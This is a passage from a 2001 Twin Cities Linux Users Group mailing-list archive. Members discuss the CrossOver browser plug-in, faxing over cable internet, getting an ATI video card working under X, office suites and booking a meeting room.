linux! also, IBM had a huge presence at LinuxWorld, as did Sun. StarOffice 6.0 looks to be much better / faster than 5.2 with decent font and printing and no desktop integration stuff. Corel was no where to be seen, but they are trying to sell there Linux stuff, so.... Intel and Amd were out in force also -- AMD touting there i86-64 specs which they made public two years at ago the expo. Ben From clay at fandre.com Wed Aug 29 08:19:20 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: References: Message-ID: <20010829081918.A5544@fandre.com> There was an article on /. yesterday about this: http://slashdot.org/articles/01/08/28/1552247.shtml Ben Luey [lueyb@gridley.ACNS.Carleton.edu] wrote: > So I was at LinuxWorld Expo in SF today (live there when not at college), > and Codeweavers announced that they've finished the crossover plug-in. It > supposedly lets you run quicktime and shockwave / macromedia and ms word > /excel viewer and other windows netscape plugins in linux netscape (or > mozilla or konqueror, I think). Unforunately, the person at the booth > wasn't too tech savy and just showed a quicktime movie being played off > the hard drive (but not streamed). > > Anyone know much about how the crossover plugin works? It doesn't use > Wine, I'm told and it appears not to just run the quicktime player, but > embedd it somehow. How would you install quicktime with this plugin? If is > works well, I'll go grab it at $20 and have quicktime in linux! > > > also, IBM had a huge presence at LinuxWorld, as did Sun. StarOffice 6.0 > looks to be much better / faster than 5.2 with decent font and printing > and no desktop integration stuff. Corel was no where to be seen, but they > are trying to sell there Linux stuff, so.... Intel and Amd were out in > force also -- AMD touting there i86-64 specs which they made public two > years at ago the expo. > > Ben > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -------------- next part -------------- A non-text attachment was scrubbed... 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Still, this is pretty dang cool and all - I wonder when they will get the Opera support going ;) -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From tmechanic at mn.mediaone.net Wed Aug 29 10:31:29 2001 From: tmechanic at mn.mediaone.net (B T) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] Faxing Message-ID: <3B8D0AD1.8D3BB5B9@mn.mediaone.net> OK it may sound silly, but, I have cable internet and I need to fax some things, I know how to do it on a dialup modem, but I have no modem other than the cable modem, any suggestions? From trammell at trammell.dyndns.org Wed Aug 29 14:53:41 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] Faxing In-Reply-To: <3B8D0AD1.8D3BB5B9@mn.mediaone.net>; from tmechanic@mn.mediaone.net on Wed, Aug 29, 2001 at 10:31:29AM -0500 References: <3B8D0AD1.8D3BB5B9@mn.mediaone.net> Message-ID: <20010829145341.A32610@trammell.dyndns.org> On Wed, Aug 29, 2001 at 10:31:29AM -0500, B T wrote: > OK it may sound silly, but, I have cable internet and I need to fax some > things, I know how to do it on a dialup modem, but I have no modem other > than the cable modem, any suggestions? http://dir.yahoo.com/Computers_and_Internet/Internet/Internet_Fax_Server/ -- Only a very small fraction of our DNA does anything; the rest is all comments and ifdefs. From josh at greentechnologist.org Wed Aug 29 10:32:39 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: <20010829100645.61ce5623.blayer@qwest.net> Message-ID: Well sure it uses WINE. Codeweavers is a Windows-[via WINE]->Linux shop. Unless they changed business plans while I wasn't looking that's their primary focus. One of the big things they do is work with libwine - or at least the Codeweavers people I know do. Does anyone know if they provide the source for the plugin tool and how it is licensed? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Wed, 29 Aug 2001, Bill Layer wrote: > On Wed, 29 Aug 2001 08:19:20 -0500 > "Clay Fandre" wrote: > > > There was an article on /. yesterday about this: > > http://slashdot.org/articles/01/08/28/1552247.shtml > > Hmm.. sounds like it uses WINE bigtime. Hope WINE is better than the last > time I played with it. Still, this is pretty dang cool and all - I wonder > when they will get the Opera support going ;) > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From sandeen at sgi.com Wed Aug 29 10:37:12 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] Faxing References: <3B8D0AD1.8D3BB5B9@mn.mediaone.net> Message-ID: <3B8D0C28.355EA334@sgi.com> B T wrote: > > OK it may sound silly, but, I have cable internet and I need to fax some > things, I know how to do it on a dialup modem, but I have no modem other > than the cable modem, any suggestions? Go down to Kinko's? :) Or buy a faxmodem. Or maybe try http://www.tpc.int/ -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From dieman+tclug at ringworld.org Wed Aug 29 11:11:18 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: References: <20010829100645.61ce5623.blayer@qwest.net> Message-ID: <20010829111118.M26388@ringworld.org> * Joshua b. Jore [010829 10:36]: > Does anyone know if they provide the source for the plugin tool and > how it is licensed? They contributed back the wine code, the netscape plugin that acts as a shim is non-free. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From blayer at qwest.net Wed Aug 29 11:28:47 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: References: <20010829100645.61ce5623.blayer@qwest.net> Message-ID: <20010829112847.5ae0ae22.blayer@qwest.net> On Wed, 29 Aug 2001 10:32:39 -0500 (CDT) "Joshua b. Jore" wrote: > Well sure it uses WINE. Codeweavers is a Windows-[via WINE]->Linux > shop. Unless they changed business plans while I wasn't looking that's > their primary focus. One of the big things they do is work with > libwine - or at least the Codeweavers people I know do. I was never questioning this fact - that was someone else.. > Does anyone know if they provide the source for the plugin tool and > how it is licensed? If you read their site, they say that the plugin is 'partially closed-source' but I don't see a links to download any code. Licensing info is also there - it is basic payware; $19.95 for the download, money back guarantee. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From dieman+tclug at ringworld.org Wed Aug 29 11:50:55 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: <20010829112847.5ae0ae22.blayer@qwest.net> References: <20010829100645.61ce5623.blayer@qwest.net> <20010829112847.5ae0ae22.blayer@qwest.net> Message-ID: <20010829115055.N26388@ringworld.org> * Bill Layer [010829 11:32]: > If you read their site, they say that the plugin is 'partially > closed-source' but I don't see a links to download any code. Licensing The opensource component is in wine cvs. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From tmechanic at mn.mediaone.net Wed Aug 29 12:07:22 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] Faxing References: <3B8D0AD1.8D3BB5B9@mn.mediaone.net> <3B8D0C28.355EA334@sgi.com> Message-ID: <3B8D214A.66E1E306@mn.mediaone.net> Looks promisin, thank you. Eric Sandeen wrote: > B T wrote: > > > > OK it may sound silly, but, I have cable internet and I need to fax some > > things, I know how to do it on a dialup modem, but I have no modem other > > than the cable modem, any suggestions? > > Go down to Kinko's? :) > > Or buy a faxmodem. > > Or maybe try http://www.tpc.int/ > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tanner at real-time.com Wed Aug 29 15:49:08 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] real video, mozilla plugin? Message-ID: <20010829154908.G11897@real-time.com> Anyone able to get real video to work as a plugin under mozilla 0.9.3? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 02E0 2734 A1A1 DBA1 0E15 623D 0036 7327 93D9 7DA3 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010829/182eb78c/attachment.pgp From wilson at visi.com Wed Aug 29 19:57:45 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] ATI Xtreme2000 configuration Message-ID: Hey everyone, Anybody tried to get an ATI Xtreme2000 card going with Linux. I've tried Debian and Mandrake, but neither one has been able to get a working X environment. This board should be well-supported. Any hints. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From pbujold at guanotronic.com Thu Aug 30 00:20:43 2001 From: pbujold at guanotronic.com (Paul Bujold) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] real video, mozilla plugin? In-Reply-To: <20010829154908.G11897@real-time.com> References: <20010829154908.G11897@real-time.com> Message-ID: <20010830012043.A24710@guanotronic.com> Yep, Ive gotten it to work. Install RealPlayer8 normaly, then edit the pluginstall.sh in its install directory to say .mozilla where it says .netscape. Im pretty sure thats all I did, but it does like to segfault if you try to look at the statistics or change any settings. -Paul From eng at pinenet.com Thu Aug 30 05:54:49 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] SuSE for linux newbies Message-ID: <20010830.10544900@linwin.mshome.net> Having tried different versions of Red Hat and SuSE Linux, and certainly not of expert skills, I'd like to recommend SuSE to others. I've installed SuSE 6.1, 6.4, and now 7.0 and seen rapid maturation. The graphical setup tool, YAST 2, recognized and set up hardware better than Red Hat 7.1. (eg. Sound card and ethernet card.) Particularly helpful is YAST 1, the SuSE linux administration tool. This tool, alone, makes SuSE easier to use. Further, the directory structure is, in my opinion, structured better. The /opt directory is used for kde, gnome, (star)office52, netscape, oracle, etc. Also, the SuSE web site seems more complete for updates and upgrades. Finally, their documentation has been gone over and cleaned up by someone speaking English as a first language. Even their lizard logo has acquired a friendly face. From clay at fandre.com Thu Aug 30 09:50:30 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] September's TCLUG meeting room reservation Message-ID: <20010830095029.B21311@fandre.com> We are planning on having a TCLUG meeting on Sepetember 8th, but I am having problems getting the room reserved through the ACM at the U. Does anyone have any connections there? I really need to get this reservation confirmed today for the Kylix demo. Thanks. -- Clay -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/f7f52bda/attachment.pgp From npt at visi.com Thu Aug 30 10:24:09 2001 From: npt at visi.com (nick) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] 675 management cable In-Reply-To: <20010830095029.B21311@fandre.com> Message-ID: If anyone has a 675 management cable they'd sell me, or even let me borrow for a day or two, i'd be eternally grateful. i lost mine when i moved, i imagine you can figure out the rest. :) anyway, i'm in uptown, and would be willing to drive just about anywhere to buy / borrow one. i'll pay some $$, just need to get this fucker fixed. so tired of unplugging the 675. thanks in advance for any help, nick From zibby+tclug at ringworld.org Thu Aug 30 10:29:35 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: Message-ID: > Anyone know much about how the crossover plugin works? It doesn't use > Wine, I'm told and it appears not to just run the quicktime player, but > embedd it somehow. How would you install quicktime with this plugin? If is > works well, I'll go grab it at $20 and have quicktime in linux! The installer is brain dead simple. Run the installer (not as root, made for single user right now.) Anway, the installer runs, detects any supported browsers, and adds the CrossOver plugin. The you run the CrossOver setup to add windows plugins to crossover. Pretty slick overall, and getting it working in Netscape 4.77 was totally painless. I was streaming trailers from www.apple.com/trailers in no time. The slider bar in QuickTime didn't really work, but if you've used quickTime you know that slider bar isn't all that useful in the first place so no big loss. Getting it going in Mozilla wouldn't be hard if my user had acces to the mozilla install directory. Apperently Mozilla doesn't support plugins in your home directory yet. Haven't really tried Shockwave or the office viewers yet. And the QuickTime player doesn't seem to come up on it's own. As a brower plugin, it definitly works. If it's worth it to you to spend $20 not to reboot to watch quicktime trailers, go for it. It runs better than it does in VMWare, and it's cheaper to boot. :) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward On Wed, 29 Aug 2001, Ben Luey wrote: > So I was at LinuxWorld Expo in SF today (live there when not at college), > and Codeweavers announced that they've finished the crossover plug-in. It > supposedly lets you run quicktime and shockwave / macromedia and ms word > /excel viewer and other windows netscape plugins in linux netscape (or > mozilla or konqueror, I think). Unforunately, the person at the booth > wasn't too tech savy and just showed a quicktime movie being played off > the hard drive (but not streamed). > > > > also, IBM had a huge presence at LinuxWorld, as did Sun. StarOffice 6.0 > looks to be much better / faster than 5.2 with decent font and printing > and no desktop integration stuff. Corel was no where to be seen, but they > are trying to sell there Linux stuff, so.... Intel and Amd were out in > force also -- AMD touting there i86-64 specs which they made public two > years at ago the expo. > > Ben > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From rudie at sihope.com Thu Aug 30 09:55:00 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] 675 management cable In-Reply-To: References: Message-ID: <01083010550000.01980@workhorse> On Thursday 30 August 2001 11:24 am, you wrote: > If anyone has a 675 management cable they'd sell me, or even let me borrow > for a day or two, i'd be eternally grateful. i lost mine when i moved, i > imagine you can figure out the rest. :) anyway, i'm in uptown, and would > be willing to drive just about anywhere to buy / borrow one. i'll pay some > $$, just need to get this fucker fixed. so tired of unplugging the 675. > > thanks in advance for any help, > > nick I have an extra one from my old NetSpeed router. I am in south Minneapolis on Chicago Ave. Lemme know if you wanna stop by and pick it up no charge -- -Kevin Hinze -- --------------------------- Keyboard Error - Press F1 to continue --------------------------- From wilson at visi.com Thu Aug 30 10:37:16 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] no joy with ATI Xpert 2000 Message-ID: Hey everyone, I'm really puzzled about this new video card I bought. I was looking for something cheap, and Tran Micro didn't have any Matrox cards (my usual choice) that weren't dual-head. I grabbed an ATI Xpert 2000 (32 MB, AGP). I've tried Debian, Mandrake 8.0, and RedHat 7.1, but haven't been able to successfully configure X yet. Mandrake and RedHat both autodetect the card. Any suggestions? -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From steveg at transition.com Thu Aug 30 10:38:15 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFDF@postman.transition.com> I own a copy of the version for BeOS so it looks like I can upgrade to both the Windows and Linux version for $39.95. http://www.gobe.com/press/pr8_29_2001.html From gabe at msi.umn.edu Thu Aug 30 10:46:16 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] no joy with ATI Xpert 2000 In-Reply-To: ; from wilson@visi.com on Thu, Aug 30, 2001 at 10:37:16AM -0500 References: Message-ID: <20010830104616.C21628@monsoon.msi.umn.edu> Is it supported by X? Have you checked the compatability list? If it is supported, check your XF86Config and make sure it's using the correct driver. You can't always rely on the distro to just make everything automagically work, as much as we'd all like to. Gabe On Thu, Aug 30, 2001 at 10:37:16AM -0500, Timothy Wilson wrote: > Hey everyone, > > I'm really puzzled about this new video card I bought. I was looking for > something cheap, and Tran Micro didn't have any Matrox cards (my usual > choice) that weren't dual-head. I grabbed an ATI Xpert 2000 (32 MB, > AGP). I've tried Debian, Mandrake 8.0, and RedHat 7.1, but haven't been able > to successfully configure X yet. Mandrake and RedHat both autodetect the > card. > > Any suggestions? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.org | http://www.zope.com > W. St. Paul, MN | | http://slashdot.org > wilson@visi.com | | http://linux.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From blutgens at sistina.com Thu Aug 30 10:56:05 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFDF@postman.transition.com>; from steveg@transition.com on Thu, Aug 30, 2001 at 10:38:15AM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFDF@postman.transition.com> Message-ID: <20010830105605.A4263@minime.sistina.com> On Thu, Aug 30, 2001 at 10:38:15AM -0500, Steve Grobe wrote: >I own a copy of the version for BeOS so it looks like I can upgrade to both >the Windows and Linux version for $39.95. and if the documents it creates are not "portable" to the de-facto standard (which for the most part is MS Office) it's as useless as star office, abi, koffice, and all the rest. > >http://www.gobe.com/press/pr8_29_2001.html > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/1e3fa87f/attachment.pgp From doughanson at mediaone.net Thu Aug 30 10:58:42 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] no joy with ATI Xpert 2000 References: Message-ID: <008b01c1316c$a4644bf0$eaaf7a81@doug> Try this: http://lhd.datapower.com/db/dispdriver.php3?DISP?810 Douger ----- Original Message ----- From: "Timothy Wilson" To: "TCLUG" Sent: Thursday, August 30, 2001 10:37 AM Subject: [TCLUG] no joy with ATI Xpert 2000 > Hey everyone, > > I'm really puzzled about this new video card I bought. I was looking for > something cheap, and Tran Micro didn't have any Matrox cards (my usual > choice) that weren't dual-head. I grabbed an ATI Xpert 2000 (32 MB, > AGP). I've tried Debian, Mandrake 8.0, and RedHat 7.1, but haven't been able > to successfully configure X yet. Mandrake and RedHat both autodetect the > card. > > Any suggestions? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.org | http://www.zope.com > W. St. Paul, MN | | http://slashdot.org > wilson@visi.com | | http://linux.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 30 10:59:50 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) In-Reply-To: Message-ID: Ha, be sure to read the ELA. Code Weavers took a light hearted approach to it. CROSSOVER PLUGIN SINGLE END USER LICENSE AGREEMENT YOU REALLY WANT TO READ THIS, ESPECIALLY THE PART ABOUT YOUR FIRST BORN CHILD... Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From wilson at visi.com Thu Aug 30 11:08:14 2001 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:26:56 2005 Subject: [TCLUG] no joy with ATI Xpert 2000 In-Reply-To: <20010830104616.C21628@monsoon.msi.umn.edu> Message-ID: On Thu, 30 Aug 2001, Gabe Turner wrote: > Is it supported by X? Have you checked the compatability list? It should be well-supported. It uses the Rage 128 chip. > If it is supported, check your XF86Config and make sure it's using the > correct driver. You can't always rely on the distro to just make > everything automagically work, as much as we'd all like to. I'll work with it some more. You'd think that RedHat and Mandrake would get it right. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From fertch at mninter.net Thu Aug 30 11:32:11 2001 From: fertch at mninter.net (Shawn Fertch) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] ISA modem Message-ID: <01083011321101.00829@bleys> I'm trying to get my internal ISA modem to work. It's a US Robotics 56k modem. The it's assigned an IRQ of 5, Com 4 under Win2k. I recently reloaded my box and assigned the modem to ttyS3 under the Slackware 8 setup. Is there something more I need to do to get it to work? I have the ISA PnP module loaded as well. Would this be in the modem how-to or in the ppp how-to also? -- Shawn From sraun at fireopal.org Thu Aug 30 11:51:09 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Another office suite for Linux In-Reply-To: <20010830105605.A4263@minime.sistina.com> References: <21F2EFCC0249D211B7AE00C0F201008C8BBFDF@postman.transition.com> <20010830105605.A4263@minime.sistina.com> Message-ID: <20010830115109.C24064@iaxs.net> On Thu, Aug 30, 2001 at 10:56:05AM -0500, Ben Lutgens wrote: > On Thu, Aug 30, 2001 at 10:38:15AM -0500, Steve Grobe wrote: > >I own a copy of the version for BeOS so it looks like I can upgrade to both > >the Windows and Linux version for $39.95. > > and if the documents it creates are not "portable" to the de-facto standard > (which for the most part is MS Office) it's as useless as star office, abi, > koffice, and all the rest. According to their web-site, they include: * MS Office file-format compatibility plus save-to-web and output to PDF Steve, do you have any experience with just how good their compatibility is? -- Scott Raun sraun@fireopal.org From troy.johnson at health.state.mn.us Thu Aug 30 11:44:01 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: Hah! That's a joke, right? "MS Office" and "portable" in the same sentence, what a hoot! Next you'll be telling me you believe MS will solve all their "document portability issues" with their "next- generation XML-based" formats. Heh! Like they won't find some way to mess that up... I think I may understand, though. What business person worth their salt would be caught dead without their virus laden *.doc, *.xls, and *.mdb files? Not many, I'd guess. >>> blutgens@sistina.com 08/30/01 10:56AM >>> and if the documents it creates are not "portable" to the de-facto standard (which for the most part is MS Office) it's as useless as star office, abi, koffice, and all the rest. From steveg at transition.com Thu Aug 30 11:49:01 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Another office suite for Linux Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFE0@postman.transition.com> The BeOS version could read most Excel and Word files and all the files I created were read by Word or Excel without issue. The new one looks like it can save directly to .pdf format also. Now if you want someone else to be able to read your work you can't get too much more universal than .pdf unless you want to use plain text or maybe html. My guess is for 99.9% of what most people use MS Office for either Gobe or (get ready here it comes) Star Office will work fine. Given my past experience with products from Gobe I am betting that it will be much faster than Star Office. Your warm and fuzzy feelings for Star Office are well known on this list, and for the most part I agree. Star Office is slow and doesn't play as well with MS Office as it could/should/would but this is something that you couldn't have even tried yet so why the instant dislike? -----Original Message----- From: Ben Lutgens [mailto:blutgens@sistina.com] Sent: Thursday, August 30, 2001 10:56 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Another office suite for Linux On Thu, Aug 30, 2001 at 10:38:15AM -0500, Steve Grobe wrote: >I own a copy of the version for BeOS so it looks like I can upgrade to both >the Windows and Linux version for $39.95. and if the documents it creates are not "portable" to the de-facto standard (which for the most part is MS Office) it's as useless as star office, abi, koffice, and all the rest. > >http://www.gobe.com/press/pr8_29_2001.html > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. From dieman at ringworld.org Thu Aug 30 11:50:47 2001 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Univ of MN peopler Message-ID: <20010830115047.V26388@ringworld.org> Are there any students on the list? I've been given an idea on how to get a room, but it requires three students. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From drew at usfamily.net Thu Aug 30 06:07:51 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Univ of MN peopler References: <20010830115047.V26388@ringworld.org> Message-ID: <3B8E1E87.855627AD@usfamily.net> I go to the U Scott Dier wrote: > Are there any students on the list? I've been given an idea on how to > get a room, but it requires three students. :) > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/c3052112/drew.vcf From troy.johnson at health.state.mn.us Thu Aug 30 12:06:58 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Univ of MN peopler Message-ID: ..and a bar stool, a push broom, and one of those plastic slinkys. Oh, wait. That's for something else entirely... >>> dieman@ringworld.org 08/30/01 11:50AM >>> Are there any students on the list? I've been given an idea on how to get a room, but it requires three students. :) From list at slushpupie.com Thu Aug 30 12:07:50 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Univ of MN peopler In-Reply-To: <20010830115047.V26388@ringworld.org> Message-ID: Im not, but my cousin will be.. want me to give you his info? Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Scott Dier Sent: Thursday, August 30, 2001 11:51 AM To: tclug-list@mn-linux.org Subject: [TCLUG] Univ of MN peopler Are there any students on the list? I've been given an idea on how to get a room, but it requires three students. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From dieman+tclug at ringworld.org Thu Aug 30 12:25:21 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] Univ of MN peopler In-Reply-To: References: <20010830115047.V26388@ringworld.org> Message-ID: <20010830122521.W26388@ringworld.org> Perhaps, are they interested in linux? :) * Jay Kline [010830 12:12]: > Im not, but my cousin will be.. want me to give you his info? > > Jay > > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Scott Dier > Sent: Thursday, August 30, 2001 11:51 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Univ of MN peopler > > > Are there any students on the list? I've been given an idea on how to > get a room, but it requires three students. :) > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From Ben at WorksCited.Net Thu Aug 30 12:36:07 2001 From: Ben at WorksCited.Net (Ben Stallings) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] free food with YDL PPP help In-Reply-To: References: <20010830115047.V26388@ringworld.org> Message-ID: Hi, folks. I'm new on this list and relatively new to Linux, having installed Yellow Dog on my Mac PowerBook G3 ("Wallstreet") Series last month. I have some experience with UNIX servers, but essentially none with desktop installs, and no experience at all with PPP under Linux. PPP worked flawlessly the first time I tried it, but hasn't worked since, and the tips I got from the YDL e-mail list resulted only in my getting the necessary supporting files all out of whack. (Minicom still works fine, as does PPP under MacOS.) I think I've gone about as far as I can following people's suggestions via e-mail, so I'm looking for someone who can take a look at the problem in person. I know free food isn't an enticement for everybody, but it's what I'm prepared to offer: I'll treat you to the meal of your choice (within reason) iff you'll get my PPP working. Successful configuration of the power manager so it displays my battery level will earn you dessert. Any takers? --Ben 612-870-4584 From florin at iucha.net Thu Aug 30 12:45:40 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:57 2005 Subject: [TCLUG] no joy with ATI Xpert 2000 In-Reply-To: ; from wilson@visi.com on Thu, Aug 30, 2001 at 10:37:16AM -0500 References: Message-ID: <20010830124540.A4906@beaver.iucha.org> On Thu, Aug 30, 2001 at 10:37:16AM -0500, Timothy Wilson wrote: > Hey everyone, > > I'm really puzzled about this new video card I bought. I was looking for > something cheap, and Tran Micro didn't have any Matrox cards (my usual > choice) that weren't dual-head. I grabbed an ATI Xpert 2000 (32 MB, > AGP). I've tried Debian, Mandrake 8.0, and RedHat 7.1, but haven't been able > to successfully configure X yet. Mandrake and RedHat both autodetect the > card. > > Any suggestions? Please attach /etc/X11/XF86Config-4 to an email... florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 